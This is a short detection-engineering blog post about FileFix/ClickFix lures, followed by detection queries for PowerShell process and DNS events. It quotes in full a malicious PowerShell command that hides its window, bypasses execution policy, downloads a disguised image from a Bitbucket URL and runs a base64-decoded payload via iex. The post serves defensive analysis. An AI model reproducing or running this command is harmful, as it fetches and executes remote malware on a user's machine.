288. ClickFix, FileFix... So What?

 Hello everyone!

ClickFix, FileFix... We see it every day. But what does it mean from detection perspective?

Let's look at an example. FileFix. The victim should paste the following command:

PowerShell -noP -W H -ep Bypass -C "$if=[System.IO.File];$ifr=$if::ReadAllBytes;$ifw=$if::WriteAllBytes;$e=[System.Text.Encoding]::UTF8;$c=[System.Convert];$egb=$e.GetBytes;$egs=$e.GetString;$cf=$c::FromBase64String;$ct=$c::ToBase64String;$u='hxxps[://]bitbucket[.]org/pibejiloiza/pi73/raw/4e2ff4d859e04af8d01fd961ab56163736a731f9/pexels-willianmatiola-33593998-3[.]jpg';$egs.Invoke($cf.Invoke('JHBfZmlzdD0tam9pbigkZW52OlRFTVAsJ1x6ZDc0NmYxY2UxYzAuanBnJyk7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtTWV0aG9kIEdldCAtT3V0RmlsZSAkcF9maXN0IC1FcnJvckFjdGlvbiBJZ25vcmU7CiRpbWFnZV9ieXRlcz0kaWZyLkludm9rZSgkcF9maXN0KTskcF9ieXRlcz0kaW1hZ2VfYnl0ZXNbMTEwMTI1My4uKCRpbWFnZV9ieXRlcy5MZW5ndGgtMSldOyRlLkdldFN0cmluZygkcF9ieXRlcyl8aWV4Ow=='))|iex;$z=' C:\\Users\\Default\\Documents\\Meta\\Facebook\\Shared\\Incident_reported.pdf'"

For example, we can use common keywords we usually see in such commands:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: ("writeallbytes" AND "getbytes" AND "iex")

Also, here we can see that BitBucket was abused to store a malicious file masquaraded to look like a picture:

event_type: "dnsreqwin"

AND

dns_rname: "bitbucket.org"

AND

proc_file_path: "powershell.exe"

What does it means? Even if threat actors find new ways to make victims run such commands - it's still quite easy to detect!

See you tomorrow!

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